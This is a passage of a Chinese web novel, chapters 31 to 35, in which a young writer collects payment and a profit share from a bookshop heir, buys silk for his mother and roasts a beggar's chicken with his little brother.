不一会儿的功夫,墨香四溢。 他铺开一张泛黄却质地精良的信纸,提起那支珍藏多年未曾动用的狼毫笔,蘸饱了墨,笔锋悬于纸上,沉吟片刻。 最终,笔尖落下,一行恭敬而恳切的字迹,出现在信纸的开头。 “文渊兄,见字如晤……” 他要动用自己此生最大的人脉,为陆明渊这只未来的雏凤,寻一片更广阔的天空。 第031章 定金给完就是分红了 时间转眼即逝。 今天是陆明渊和林远峰约好的日子! 当最后一笔落下,墨迹未干的话本摊在桌案上,陆明渊长长地舒了口气。 此刻,窗外天光大亮,晨雾尚未完全散尽,陆家村的炊烟已袅袅升起,与远山融为一体。 “渊儿,可是都妥当了?” 屋外传来父亲陆从文憨厚的声音,带着一丝不易察觉的紧张与期盼。 陆明渊应了一声,将话本小心翼翼地捆扎好,走出屋子。 院子里,陆从文已将几篮鸡蛋和一小块腊肉用布巾盖好,准备妥当。 他看着儿子手中那厚厚一叠纸,眼中闪过一丝疑惑,但更多的是一种无条件的信任。 上一次陆明渊带着零散的纸页回来,便换回了沉甸甸的铜板和米肉。 “爹,都好了。 ”陆明渊接过父亲手中的竹筐,父子俩一前一后,踏着晨露,朝着村口走去。 村口那棵老槐树下,几辆牛车已零星停靠,等待着赶早市的村民。 牛车旁,聚拢着几个早起的妇人,絮絮叨叨地交换着村里的家长里短。 陆从文父子刚走到村口,便见一辆牛车缓缓驶来,车夫是个面善的老汉,见是陆从文,便笑着停下。 “陆老大,今儿个又进城啊?” “是啊,王叔,劳烦您了。” 陆从文笑着应道,将竹筐稳稳地放在车厢里,又扶着陆明渊坐好。 牛车启动,车轮碾过泥泞的土路,发出吱呀吱呀的声响。 直到牛车的影子彻底消失在村道尽头,一扇虚掩的木门才悄然打开。 陆从智,悄无声息地从房间里走了出来。 他站在院中,望着那空荡荡的村口,眼神深邃,闪烁着精光。 陆从智昨日便注意到陆从文早早地收拾了东西,今日更是起了个大早。 他心中隐隐有了猜测。 上一次陆从文去县城,回来时带回了许多猪肉和米面,陆从智却觉得不对劲。 自家大哥那点微薄的收入,怎么可能如此阔绰? 他联想到陆明渊最近的“异常”——不再下地,而是每日待在屋里写写画画。 一个大胆的念头在他心头浮现:莫非,是这小子想到了什么赚钱的法子? 若真是如此…… 他要等,等陆从文父子回来。 若是陆从文这一次还能带回来一大堆东西! 那事情就很明显了! 陆明渊肯定是找到了赚钱的法子! 陆从文此时还不知道这些,他一心想着先赚点钱再说! 牛车摇摇晃晃,颠簸了一个多时辰,终于抵达江陵县城。 县城比陆家村要热闹许多,青石板铺就的街道上,行人摩肩接踵,叫卖声此起彼伏。 陆从文熟练地在街角寻了一处空地,将竹筐里的鸡蛋和腊肉摆好,开始吆喝起来。 陆明渊没有多留,他将装着话本的布包背在肩上,叮嘱了父亲几句,便径直朝着翰墨轩的方向走去。 他要将话本交给林远峰,同时取回上次的十五两银子。 翰墨轩,位于县城最繁华的街道中央,牌匾古朴,门庭雅致。 陆明渊走进店门,一股淡淡的墨香扑面而来,夹杂着纸张特有的清雅。 店小二正百无聊赖地擦拭着柜台,一抬头,便看到了那个身形瘦小却气质沉静的少年。 他眼睛一亮,立刻放下手中的抹布,小跑着迎了上来。 “哎哟,陆小公子,您可算来了!我家少爷念叨您好几回了!” 小二脸上堆满了笑容,那份热情,与上次的敷衍判然不同。 他将陆明渊恭恭敬敬地引到后院,一边走一边絮叨。 “您上次走后,少爷可高兴了,直说陆小公子是神人下凡,下笔如有神,那些个故事,简直……简直是天上才有!” 陆明渊只是微微颔首,他能感受到小二态度的转变,这说明他的话本确实给翰墨轩带来了可观的收益。 穿过几道月亮门,烤鸡的浓郁香气忽然扑鼻而来,带着一丝焦脆的诱人味道。 这香气并非来自厨房,而是从前方不远处的书房里飘出。 小二的笑容僵在了脸上,他有些尴尬地挠了挠头,低声对陆明渊解释道:“那个……陆小公子,我家少爷他……他可能在吃叫花鸡。” “要不,您先去前院稍等片刻,等他用完了再……” 陆明渊闻言,眉梢微挑。 他倒不介意,只是觉得这林远峰,行事风格着实有些不拘一格。 他点了点头,正准备转身,却听“吱呀”一声,书房的门被人从里面推开。 一个身着锦袍的小胖小子走了出来,顶着一头凌乱的发髻。 脸上沾着些许炭灰和油渍,嘴里正嚼着什么,手里还抓着一只油光锃亮的大鸡腿。 他一边嚼着,一边含糊不清地嘟囔着:“小二,你跑哪儿去了?这鸡腿可香死我了,快,再给我拿壶好酒来……” 话说着,他抬眼的瞬间,就看到陆明渊,彼此视线对上。 嘴里的动作戛然而止,手中那只油腻的鸡腿,也僵在了半空中。 他抬眼,目光与陆明渊对上。 嘴里的动作戛然而止,那只油腻的鸡腿,也僵在了半空中。 空气在这一刻凝固,唯有那烤鸡的浓郁香气,仍在书房与院落之间肆意流淌。 “咳咳……陆……陆兄!”林远峰猛地将鸡腿塞回书房,一个踉跄,险些被门槛绊倒。 他顾不得狼狈,嘴里含糊不清地招呼着,声音里带着几分被抓包的窘迫和掩饰不住的兴奋。 “小二!小二你个笨蛋!没看到陆兄来了吗?还不快请陆兄进来!” 他冲着身旁的小二使了个眼色,那眼神里带着几分求助,又带着几分恼羞成怒。 小二被自家少爷这突如其来的变脸吓了一跳。 连忙点头哈腰,小跑着上前,对着陆明渊恭敬地做了个“请”的姿势。 “陆小公子,里面请,里面请!” 说罢,又回头看了一眼林远峰,得到了一个带着威胁的眼神,立刻心领神会,一溜烟地跑去前院,嘴里还念叨着。 “好嘞少爷,小的这就去再买一只顶好的叫花鸡!” 声音渐渐远去,带着几分逃离现场的意味。 林远峰见小二走了,这才松了口气。 他搓了搓手,又猛然想起手上的油污,登时又是一阵尴尬。 他连忙从怀里掏出一块绣着云纹的锦帕,胡乱地擦了擦手,又抹了抹嘴角的油渍,但似乎效果不佳,脸上反而更花了。 他索性将锦帕一扔,冲着书房里唤了一声:“来人,打盆水来!” 很快,一个丫鬟端着一盆清水和干净的布巾走了过来。 林远峰接过,仔仔细细地洗了一遍手,又用布巾将脸擦拭干净,直到那张白胖的脸重新变得清爽,才长长地舒了口气。 他抬头看向陆明渊,脸上堆满了真诚的笑容,伸出手,邀请道:“陆兄,请!” 陆明渊静静地看着他这一连串的动作,从最初的窘迫,到迅速的补救,再到此刻的礼数周全。 他心里不由得轻轻叹了口气。 这林远峰,看似玩世不恭,却骨子里透着大家族子弟的教养。 他知道如何在最短的时间内化解尴尬,如何在商言商中保持体面。 这并非简单的礼节,而是一种从小养成的本能。 即便是他这般贪吃,也从未忘记分寸。 这样的人,才堪为合作伙伴。 陆明渊微微颔首,迈步走进书房。 书房内陈设雅致,书卷气与墨香混合着淡淡的油烟味,倒也别有一番人间烟火的气息。 林远峰则是一脸兴奋地转过身,那双因为胖而显得细小的眼睛里,闪烁着狂喜。 “陆兄!你可算来了!” 林远远峰几乎是迫不及待的开口,声音里带着一股子压抑不住的亢奋。 “我可真是望眼欲穿啊!你……你可是带了新的话本?” 他向前一步,几乎要凑到陆明渊面前,那份急切与期待,丝毫没有半点掩饰。 “陆兄,你简直是神人下凡!你可知,你那《西游记》……不,现在城里人人都叫它《石猴传》!” “它卖爆了!简直是卖疯了!” 林远峰说着,眉飞色舞,仿佛他自己才是那话本的作者一般。 “翰墨轩开业数载,从未见过这般盛况!每日清晨,铺子还没开门,便有大批的读书人、说书先生,都排着队等着!” “短短几日,第一册的存货便销售一空,如今连加印的都快不够了!” “整个江陵县都在打听这《石猴传》的后续!” “那些说书先生把你的故事改编得活灵活现,茶馆酒肆里,每日都挤满了听客!” “”那些个平日里只读圣贤书的酸儒,如今也拿着你的话本,津津有味地品读!” “陆兄,你这是开创了一个先河啊!” 这番话,让陆明渊心中也泛起一丝波澜。 他知道《西游记》的魅力,但亲耳听到它在这个时代的影响,仍旧有一种难以言喻的感觉。 他提了提腰间那用布帛包裹的厚重包裹,那是后续的五万字稿件。 他看着林远峰那张兴奋的小胖脸,平静地开口。 “话本,自然是带来了。” “不过,林少爷,先前我们说好的,那十五两银子……不知可否先结算?” 陆明渊没有多余的客套,直接切入正题。 这是他此行的主要目的之一。 林远峰闻言,猛地一拍大腿,那声音在空旷的书房里显得格外响亮。 “哈哈哈哈!瞧我这记性!光顾着高兴了,把正事都忘了!” 他大笑着,脸上的肥肉都跟着颤抖起来。 “陆兄莫急,莫急!早就给陆兄准备好了!” 林远峰说着,便转身走到书房内侧的一张红木书案旁。 那书案雕工精细,光洁如镜,显然是林远峰平日里处理账目之处。 他从书案下方的抽屉里,取出一个沉甸甸的钱袋。 钱袋入手,便能感觉到里面银锭的规整与厚重。 林远峰小心翼翼地打开钱袋,从中取出三块大小相仿的银锭,整齐地放在书案上。 “陆兄请看,这是十五两白银,足量足重!” 林远峰将银锭推到陆明渊面前,语气里带着几分自豪。 陆明渊的目光落在那些银锭上。 它们并非寻常的碎银,而是制式规整的官府白银,每一块都铸有清晰的“五两”字样,光泽内敛,品相极佳。 这样的银子,无论走到哪里,都做不得假,也无需担心分量不足。 陆明渊没有急着去拿,只是目光平静地扫过那些银锭,然后看向林远峰,微微颔首,表示确认。 林远峰见陆明渊没有异议,便将银锭连同钱袋一同递了过去。 陆明渊伸出手,接过了那份沉甸甸的重量。 他将银子小心翼翼地放进自己的钱袋,然后收好。 “陆兄!” 林远峰见他收好银子,立刻又来了精神,脸上的笑容比方才更加灿烂。 “这只是答应你的十五两银子!我们说好的利润分成,我可还没给你呢!” 他搓了搓手,眉梢眼角都带着一股子按捺不住的兴奋与神秘。 “稍等片刻,我这就将账本拿给你看看!你可要有心理准备,免得被那数字吓一跳!” 第032章 第一次分红! 他将账本与钱袋一同放在书案上,然后抬眼看向陆明渊。 “陆兄请看,这就是这几日的账目!” 他将账本推到陆明渊面前,同时也开口说着,语气中满是兴奋。 “陆兄的话本,简直是神来之笔!自打《石猴传》第一册出版,我翰墨轩便迎来了前所未有的盛况!那三百本,不过一日光景,便销售一空!” “为了应对这惊人的销量,我连忙招募了人手,昼夜不停,十二个时辰轮流印刷!” “原本每日只能印三百本,硬生生提到了五百本!可即便如此,依旧是杯水车薪,供不应求啊!” 他叹了口气,却不是苦恼,而是深深的满足,接手这个铺子,本来就不被家里人看好,现在这么大出风头一回,可是让他长脸了好一回。 “陆兄,自发售至今,短短数日,我们已经售出了一千零五十本!” “每一本的利润是六十文钱,这加起来,便是六万三千文!” “陆兄,你可知六万三千文是多少?那便是整整六十三两白银!” “按照我们先前说好的,利润五五分账,陆兄你本该分得三十一两五钱。” “这第一次合作,咱们干脆凑个整,陆兄你分三十二两!” “这里是三十两,还有二两碎银,我这就让人去取!” 他指了指钱袋里的银子,又抬眼看向陆明渊。 陆明渊缓缓摇了摇头,嘴角勾起一抹极淡的弧度。 “林少爷,账不是这么算的。” 林远峰愣了一下,脸上的笑容凝固了片刻,带着一丝不解。 “当初,林少爷支付我的定金是二十两白银。这笔银子,理应计入话本的制作成本之中。” “也就是说,六十三两的营收,先要扣除这二十两的成本,剩下的,才是真正的利润。” 林远峰的眼睛微微睁大。 “如此一来,真正的利润,便是四十三两。” 陆明渊继续说道,声音平缓而有力。 “我们五五分账,我应得二十一两五钱。” “方才,林少爷让小二去买叫花鸡,那也是为了今日的合作。这半两银子,也该从利润中扣除。” “所以,算下来,我应得的,是二十一两白银。” 陆明渊说着,目光重新回到那三十两银子上。 他伸出手,从那堆银锭中取出了十两,然后将它们递向林远峰。 这突如其来的动作,让林远峰彻底愣住了。 他看着那伸到面前的十两银子,又看了看陆明渊平静的脸,一时间竟不知该如何反应。 这世上,竟有将送上门的银子往外推的人? 片刻的寂静后,林远峰的脸上,僵硬的表情终于瓦解,取而代之的是一阵猛烈的哈哈大笑。 “哈哈哈哈!好!好一个陆兄!好一个陆明渊!” 他笑着,肥胖的身体都跟着颤抖起来,眼角的泪花几乎要被笑出来。 “我却从未见过陆兄这般……这般有意思的人!” 他探出手,毫不犹豫地接过了那十两银子。 “陆兄!你这份心胸,这份气度,林某佩服!” 林远峰收好银子,脸上的笑容比刚才更加真诚,也更加热切。 “你尽管写!写多少,我翰墨轩便卖多少!江陵县不够卖,我便去隔壁的庐州府!” “庐州府不够,我便去江南道!陆兄你只管等着收钱便是” 陆明渊微微颔首,他将怀中用布帛包裹的厚重稿件取出,放在书案上,推到林远峰面前。 “这是后续的稿件,约莫五万字。” “以后,我每十天会来送一次话本。林少爷,接下来我便要苦读了。” “苦读?” 林远峰的眼神亮了亮。 他本能地想开口,邀请陆明渊去他们林家的府学。 林家府学乃是江陵县最好的学府,师资雄厚,藏书丰沛,若陆明渊能入府学,定能更上一层楼。 他甚至可以为陆明渊安排最好的老师,提供最优渥的条件。 然而,话到嘴边,他又生生止住了。 此刻提出,未免显得他林远峰有别的心思,是在用利益捆绑陆明渊。 这等聪明人,最忌讳的便是旁人算计。 他心中暗自叹了口气,脸上却依然保持着热情洋溢的笑容。 现在还太早了,等到两人再熟悉些,等到这《石猴传》真正名扬天下,那时候再提,或许便是水到渠成之事了。 “好好好!陆兄尽管去苦读便是!” 林远峰豪爽地说道,“翰墨轩这边,有我在,陆兄尽管放心!这稿件,我今夜便让人连夜刻印!” 就在这时,书房外传来一阵急促的脚步声,伴随着小二气喘吁吁的声音。 “少爷!少爷!您要的叫花鸡,小的买回来了!” 小二一路小跑着进来,手里提着一只用荷叶包裹的严严实实的叫花鸡,热气腾腾的。 林远峰接过叫花鸡,脸上露出满足的笑容。 他将叫花鸡递到陆明渊面前,语气亲切。 “陆兄,这叫花鸡味道极好,如今事已谈妥,不如留下吃个晚饭?我让厨子多做几个拿手好菜,咱们好好庆祝一番!” “多谢林少爷好意。只是在下还有其他事情要办,急着回家,就不多留了。” 他的语气温和而坚定,没有一丝犹豫。 林远峰闻言,眼中闪过一丝遗憾,但他也没有再勉强。 他知道陆明渊的性子,一旦决定,便不会轻易更改。 “既然陆兄有要事,那林某便不强留了。” 林远峰说着,便将那只叫花鸡塞到陆明渊手中,不由分说。 “这鸡,陆兄带回去路上吃。日后若有闲暇,随时可来翰墨轩,林某定当扫榻相迎!” “陆兄慢走!” 林远峰站在门内,拱手相送,那张白胖的脸上,此刻只剩下真诚与敬重。 陆明渊微微颔首,提着那只沉甸甸的叫花鸡,迈步走入巷中。 ………… 巷道深远,青石板泛着潮气,将翰墨轩的喧嚣与繁华渐渐抛在身后。 他将左手伸入怀中,本欲将那分得的银子妥善安放,指尖却在叫花鸡的荷叶包裹处触到了一丝异样。 那是一块碎银,约莫一两,被巧妙地藏匿在荷叶与油纸的缝隙之间。 第033章 了却原身心中的执念 陆明渊的动作微不可察地顿了顿,嘴角勾起一抹若有似无的笑意。 林远峰啊林远峰,这般心思,这般手法,倒是出乎意料,却又在情理之中。 先前退回的那十两银子,他收得干脆,想必也有些意外,可终究是商人,这份“礼尚往来”的艺术,拿捏得恰到好处。 不占便宜,却又绝不吃亏,甚至,还多了一份人情与体面。 陆明渊心底生出一股淡淡的欣赏,与林远峰这般人合作,果然是件令人舒心的事。 他将碎银与钱袋一同收好,步子不紧不慢,穿过几条街巷。 陆明渊的目光在人群中梭巡,很快便锁定了那熟悉的身影——父亲陆从文,正佝偻着腰,在街角的小摊前忙碌着。 那摊位简陋,几块木板搭就,上面摆着些腊肉和鸡蛋,父亲的背影在人潮中显得有些单薄。 “爹。” 他轻声唤道。 陆从文闻声抬头,疲惫的脸上瞬间绽开一丝惊讶与喜悦。 “渊儿?你怎么就回来了?这般早?” 陆从文说着,目光已然被陆明渊手中的叫花鸡吸引。 陆明渊将叫花鸡递过去,入手沉甸甸的。 他看着父亲眼底那掩饰不住的馋意,心中微动,却又不动声色地压下。 “今日话本卖得极好,翰墨轩的林少爷特意请我吃的。爹,您尝尝,这味道可不一般。” 陆明明渊轻描淡写地解释道,随即又压低了声音,凑到父亲耳边。 “爹,这次赚了些银子,您拿着。” 他从怀中掏出钱袋,从里面取出十两银锭,悄无声息地塞到父亲手中。 陆明渊没有说出全部的数目,那些额外的收入,他自有打算。 他那个不省心的二叔,最近一反常态,又是勤快下地,又是负荆请罪! 陆明渊可以肯定他在谋划些什么! 陆明渊担心告诉父亲赚了多少,会让父亲心软,又中了他那个二叔的算计! 陆从文的手猛地一颤,下意识地环顾四周。 确认无人注意,才小心翼翼地将银子揣入怀中。 “渊儿,你……你这孩子,怎可在街上这般随意!” 陆从文压低了嗓音。 “这可是十两银子啊!万一……万一被有心人瞧见了,那可如何是好!” 陆明渊微微颔首,表示理解。 他自然知道财不外露的道理,方才拿出银子前,他已然将周围扫视了一圈,确认并无异常,才敢如此行事。 他看着父亲那张因激动而泛红的脸,心头不由得泛起一丝酸楚。 陆从文的脸色渐渐由惊慌转为兴奋,他看着陆明渊,眼神中满是兴奋。 “渊儿,你真是……真是爹的骄傲!” 陆从文的声音有些哽咽,却又带着一股压抑不住的亢奋。 “这笔钱,爹给你攒着!有了这十两银子,再加上今年下半年的庄稼收成,还有你娘日夜纺织的刺绣,怎么说也能凑出十两银子来!” “明年,明年爹就把你送去高家府学读书!” 高家府学,是很多寒门学子梦寐以求的求学圣地。 陆明渊听着父亲这番话,心中那最后一丝属于“穿越者”的隔阂,在此刻彻底消融。 他看着眼前这个为他操劳半生,却从未想过为自己添置一分一毫的男人,心中涌起一股暖流。 “爹,您不必如此。” 陆明渊的声音放得更轻,却字字清晰,带着不容置疑的坚定。 “孩儿如今写话本,每月都能赚得十两有余,束脩的钱,您不必担心。” “这些钱,不如给娘买些好的衣裳布匹吧。” “这些年,娘跟着我们吃了不少苦,身上的衣服总是缝缝补补,是孩儿不孝。” 他望着父亲那张饱经风霜的脸,心中浮现出母亲那双因常年劳作而粗糙的双手,以及她身上那件洗得发白的旧袄。 当年,她也是大户人家的小姐,锦衣玉食,如今却为了这个家,为了他们父子,耗尽了青春与心血。 这份孝心,并非仅仅是言语,更是原身深藏已久的愧疚与担当,已经形成了一股执念,影响到了现在的他。 这也是他为什么要这么做的原因,当然,抛开这点,自己占据了这个身子,也应该这么做。 然而,陆从文却面色一肃,那份喜悦被谨慎与担忧所取代。 他抬手,轻轻拍了拍陆明渊的肩膀,语气中带着一种身为长辈的训诫与经验。 “胡闹!凡事预则立,不预则废!” “你现在赚了钱,是好事,可谁知道以后是什么光景?万一哪天话本不兴了,你又当如何?” 陆从文的语气加重了几分,但那份严厉中,却饱含着深切的关怀。 “这钱,就是要给你攒着读书!不能乱花!不能刚有点起色,就开始铺张浪费!” 他宁可自己继续粗茶淡饭,也要为儿子的前途铺平道路。 这是他作为父亲,能为儿子做的,最重要的事情。 陆明渊看着父亲那双布满血丝的眼睛,明白他心中的执念。 他无法完全说服父亲,但孝顺之心,却让他不忍见母亲再受苦。 “爹,那便只花一两银子,可好?” 陆明渊语气放软,带着一丝商量。 “至少,给娘买些好的布匹料子,让她给自己做一身合身的衣裳。您想想,娘当年也是大户人家的小姐,这些年为了咱们这个家,吃了多少苦?” “她天天穿着缝补的衣服,孩儿看着心里难受。如今孩儿有能力了,总归要孝顺娘,让她也能过几天舒心日子。” 他将母亲搬出来,这份孝心,犹如一柄软刀子,轻轻地戳中了陆从文内心最柔软的地方。 陆从文的身体微微颤抖,那双饱经风霜的眼睛,此刻竟泛起了点点泪光。 他看着眼前这个突然变得如此懂事,如此有担当的儿子,心中百感交集。 “渊儿……渊儿啊……” 陆从文颤抖着声音,连连点头,泪水顺着他脸上的皱纹滑落。 “你……你长大了,懂事了……知道心疼你娘了……” “是爹没本事,让你娘跟着我们一起吃苦……是爹对不住你娘啊……” 他一边说着,一边用粗糙的掌心抹去眼角的泪水,满是愧疚! ………… 第034章 你这心思,渊儿早就猜到了 陆从文颤抖着声音,连连点头,泪水顺着他脸上的皱纹滑落。 “渊儿……渊儿啊……” 陆明渊轻轻扶住父亲单薄的肩头:“爹,您不必如此。” “家里这些年的光景,孩儿都看在眼里,您和娘亲为这个家,已然尽了最大的力。” “如今,孩儿也长大了,能赚钱了。您放心,陆家往日的荣耀,孩儿会一点点挣回来,让您和娘亲,从此再不必为生计操劳。” 这番话,如同一道暖流,瞬间慰帖了陆从文那颗饱经风霜的心。 “好!好!渊儿长大了,真懂事了!” 陆从文连连点头,激动得有些语无伦次。 他用力拍了拍陆明渊的胳膊,眼中闪烁着泪光,却又带着一股压抑不住的骄傲。 “你说得对,是爹没本事,让你娘跟着我们吃苦。既然你也有这份心,那咱们就给娘亲买些好的布匹!” 他忽地想起什么,脸上露出几分自豪的神色:“渊儿你不知道,你娘她……她那刺绣的手艺,那可是一绝!咱们村里,乃至这江陵县,都找不出第二个能比得上的。” “每次她纺织出来的布匹,只要绣上花样,送到县城来,都会被一个大户人家哄抢一空!” “给你娘买些好的布匹,织出来的衣裳,那可比县里那些成衣铺子的好看多了,也更耐穿!” “爹说的是,那咱们就去给娘亲好好挑些布匹。”陆明渊微笑回应。 父子二人相视一笑,他们将小摊收好,径直往县城最繁华的布匹街而去。 一路上,陆从文依旧絮絮叨叨地强调着节俭的重要性,但当陆明渊带着他走进那间名为“锦绣坊”的布匹行时,他还是忍不住被琳琅满目的丝绸锦缎晃花了眼。 “这……这太贵了,渊儿,咱们去旁边的普通铺子看看吧。” 陆从文拉了拉陆明渊的衣角,眼中满是心疼。 他虽然嘴上说着要给妻子买好的,但真正面对这些动辄几钱一尺的料子,还是有些肉疼。 陆明渊却不为所动,他目光扫过架上那些流光溢彩的布匹,最终落在几匹色泽沉静却质地柔软的素色丝绸上。 那是上好的湖州丝,摸上去冰凉滑腻,带着天然的光泽。 “爹,娘亲的手艺这般好,自然要配最好的料子。这些素色丝绸,最能衬托娘亲的刺绣。” 陆明渊说着,已然指着其中一匹月白色的丝绸对掌柜道:“掌柜的,劳烦将这匹月白色和一匹湖蓝色的丝绸,各剪两丈。” 掌柜的是个精明的中年人,一听是陆明渊这样的小少年,却如此大手笔,眼中精光一闪,立刻热情地招呼起来。 “好嘞,小公子眼光真好!这可是今年新到的湖州丝,裁衣做裙,端庄大气,最是适合夫人。” 陆明渊又转头看向父亲,眼中带着几分促狭的笑意。 “爹,您也该添置一身新衣了。这身布衣,虽然耐穿,可也该换换了。” 他指着一匹深灰色的麻布,那麻布虽然不及丝绸华贵,却也密实挺括,看着便知是上等货色。 陆从文连忙摆手,脸涨得通红:“不用不用!爹这身还能穿,好好的,别浪费钱!” “爹,您别忘了,您答应过孩儿,要带着陆家重现荣耀。” “将来孩儿考中功名,您也要跟着孩儿去见世面的。这身衣裳,就当是提前备下了。” 陆明渊语气温和,却带着不容置疑的坚持。 他知道父亲的性子,若不这般“绑架”,他是绝不会为自己花一分钱的。 一番挑选下来,共计花了二两银子。 陆从文眼睁睁看着那碎银被掌柜收走,心疼得直抽抽。 可当他看着陆明渊那淡然自若的神情,心中却又生起一股骄傲! “渊儿,你……你真是长大了。”他喃喃道,语气里满是复杂的情绪。 走出布匹行,午后的阳光洒在青石板上,带着几分暖意。 陆明渊提着包好的布匹,心头沉甸甸的,却又感到一种前所未有的满足。 正当父子二人穿过闹市,准备往回走时,迎面走来一行人。 为首的是个身着锦缎长衫的中年男子,体态富态,面色红润,正是县里有名的陈员外。 陆从文一眼便认出了他,脸上立刻堆起了笑容,连忙上前拱手作揖。 “可是陈员外当面?” 陈员外脚步微顿,眯着眼打量了一下陆从文,随即脸上也浮现出客气的笑容。 “是老陆啊!今日怎么在县城里?可是来卖腊肉鸡蛋的?” “正是正是,刚卖完,准备回去呢。”陆从文憨厚地笑着。 陈员外点了点头,目光不经意地扫过陆明渊手中的布匹,随即又收回目光,客气地说了两句场面话。 “那老陆你慢走,我这还要进布行买些东西。” 说着,他便抬步走进了“锦绣坊”,与陆明渊父子擦肩而过。 陆明渊看着陈员外略显急促的背影,心中隐隐觉得有些不对劲。 他总觉得,陈员外方才的眼神,似乎在刻意回避着什么。 待到陆明渊和陆从文的身影消失在街角,陈员外的跟班儿才凑上前,疑惑地问道:“老爷,您不是前些日子才从他那儿买了刺绣吗?怎么今日又来布行了?” 陈员外闻言,脸色倏地一沉,他猛地回头,凌厉的目光扫过跟班儿,压低了嗓音,带着几分不悦。 “不该问的,少问!那些刺绣,并非是我买的,不过是替人跑腿罢了。” 他甩了甩袖子,径直走向柜台,留下一脸茫然的跟班儿站在原地,丈二和尚摸不着头脑。 县城喧嚣的余韵,随着父子二人渐行渐远,被抛在了身后。 回到陆家,灶房里已飘出淡淡的饭菜香。 “娘,我们回来了。” 陆明渊的声音带着少年特有的清朗。 陆从文放下肩上的扁担,憨厚地笑着。 他将陆明渊手中的包袱接过,递到王氏面前。 “娘子,快看看,这是渊儿特意给你买的!” 王氏疑惑地接过包袱,在手中掂了掂,那份柔软而滑腻的触感,让她的指尖微微颤抖。 她小心翼翼地解开布带,当那几匹月白与湖蓝的湖州丝绸出现的时候,她整个人都愣住了。 “这得花多少钱啊?明渊,你……你怎能买这般贵的料子?” 她心疼得眼眶都红了。 如今突然见到这等丝绸,只觉得奢侈得让人心惊肉跳。 陆从文见状,连忙上前,轻轻拍了拍妻子的手:“娘子,你这些年为这个家,为我和两个孩子,吃尽了苦头。日日夜夜,纺纱织布,刺绣缝补,哪有一刻是闲下来的?” “如今渊儿出息了,他心里记着你的好,想着孝顺你。他特意寻了这等上好的料子,让你能用得舒心。” 他顿了顿,又压低了声音:“你要是再推辞,再说什么浪费钱的话,渊儿心里定会过意不去。” “他如今正值读书的关键时候,若因此影响了心境,耽误了学业,那可就得不偿失了。” “不,不,不影响!”王氏猛地摇头。 她紧紧攥着手中的丝绸,抬头看向陆明渊,眼睛里满是愧疚与慈爱。 “是娘不好,娘不该说那些话。渊儿,娘收下,娘收下便是!” “这料子这般好,渊儿你正是长身体的时候,读书耗费心神,最需要一件体面的衣裳。” “娘这就给你裁剪一套,再给爹也做一套新的!” 陆从文闻言,不由得失笑,摇了摇头。 他指了指门外堆放的另一捆布匹,那是一匹深灰色的密实麻布,以及一匹略显粗糙,却也结实耐穿的青色布料。 “娘子,你这心思,渊儿早就猜到了。” 他笑着说道。 “你瞧瞧,我们爷俩的料子,都在外面呢。你那几匹,可是渊儿特意为你挑的,最衬你的刺绣手艺。” “我们爷俩的,质量是差了些,但胜在耐穿。” “我常年下地,太好的料子糟蹋了,渊儿的稍微好点儿,读书人讲究个清爽整洁,也用不着多金贵。” “所以啊,你便只管安心用你自己的那几匹,不必为我们操心了。” 第035章 有天赋,便要毫不犹豫地展现出 王氏闻言,呆呆地看着陆明渊,再看看门外那两捆布匹,她的心,在这一刻被彻底融化了。 泪水再次模糊了她的视线,这一次,不是心疼,是感动与骄傲。 她哽咽着,说不出一个字,只是紧紧地,将手中的丝绸抱在怀里。 陆从文看着妻子那单薄的肩膀,他不知道该如何安慰,只是默默地走上前去,将王氏轻轻搂入怀中。 陆明渊见状颔首点头,轻步走出了房间! 剩下的事情就是照顾弟弟这个小馋猫了! 陆明渊来到隔壁房间,拿出了用荷叶包裹着的叫花鸡。 虽然已然凉透,但那股独特的泥土与肉香混合的野味,依旧弥漫在简陋的屋子里。 “哥,好香啊……” 一个稚嫩的声音在他身旁响起。 陆明泽,这个比陆明渊小了七岁的弟弟,正眼巴巴地盯着叫花鸡。 一双乌溜溜的大眼睛里,充满了对美食的渴望,口水几乎要顺着嘴角流下来。 陆明渊看着弟弟那副可爱的馋猫模样,不由得笑出了声。 他伸手揉了揉陆明泽的脑袋,温声道:“这叫花鸡,凉了便失了些滋味,一会儿,你随哥哥一起出去。” “咱们寻些干净的泥巴,再找几片大荷叶,将它重新包起来,埋在火堆里,烤上一烤,那滋味便又回来了。” 陆明泽一听,眼睛顿时亮得像天上的星星,连连点头。 他的小脑袋点得像拨浪鼓一般,嘴里发出“嗯嗯”的声音。 他的目光,始终寸步不离地盯着那只鸡。 “乖。” 陆明渊又笑了笑,起身走到门口,与父母说了一声,便带着陆明泽,一前一后地出了门,朝着村边的河滩走去。 河边,水声潺潺,蛙鸣阵阵。 陆明渊选了一处地势稍高,远离河岸潮湿之地的地方,放下叫花鸡。 他从腰间解下随身携带的短刀,熟练地在地上挖了一个浅坑。 待坑挖好,他又寻来一个破旧的瓦罐,舀了些河水,倒进坑里,与挖出的泥土混合。 他将泥巴搅拌得均匀,带着一种恰到好处的黏性,然后,他看向陆明泽,眼中带着一丝鼓励。 “明泽,来,把这些泥巴,均匀地涂在叫花鸡外面。要涂得厚实些,这样烤出来的鸡肉才更香嫩。” 陆明泽虽然不明白其中的道理,但对哥哥的话,他总是无条件地信任和听从。 他蹲下身子,伸出胖乎乎的小手,笨拙地抓起一把泥巴,小心翼翼地往叫花鸡上涂抹。 他涂得并不均匀,有时泥巴会从指缝间滑落,有时又会涂得厚厚一块,弄得满脸都是泥点子,像个刚从地里爬出来的泥猴儿。 陆明渊看着弟弟那副认真而又可爱的模样,忍不住再次笑了起来。 他没有去纠正陆明泽的动作,只是偶尔伸出手,帮他拂去脸上的泥土。 两兄弟就这样,一个耐心指导,一个笨拙尝试,在河边忙活了约莫半个时辰。 终于,那只叫花鸡被一层厚厚的泥巴严严实实地包裹起来,像一个椭圆形的泥球。 陆明渊又寻来几片宽大的荷叶,将泥球包裹其中,再用细长的藤蔓捆扎结实。 “好了,我们回家吧。” 陆明渊拍了拍手上的泥土,笑着对陆明泽说道。 陆明泽也拍了拍自己满是泥巴的小手,脸上虽然沾满了泥点,却露出了满足而又期待的笑容。 他紧紧跟着陆明渊,小步跑着,生怕落后。 回到家中,陆从文已经在院子里生起了火堆。 火光跳跃,将父子三人的身影拉长,映照在夜色中。 陆明渊将包裹好的叫花鸡,小心翼翼地埋入火堆下的热灰中,用炽热的木炭覆盖。 片刻后。 那股独特的泥土与肉香混合的野味,在火堆的烘烤下,渐渐弥漫开来。 陆明泽早已按捺不住。 陆明渊坐在一旁,手中拿着一根细长的木棍,不时地拨弄着灰烬,脸上带着满足的笑容。 不多时,一股浓郁的鸡肉香味儿钻了出来。 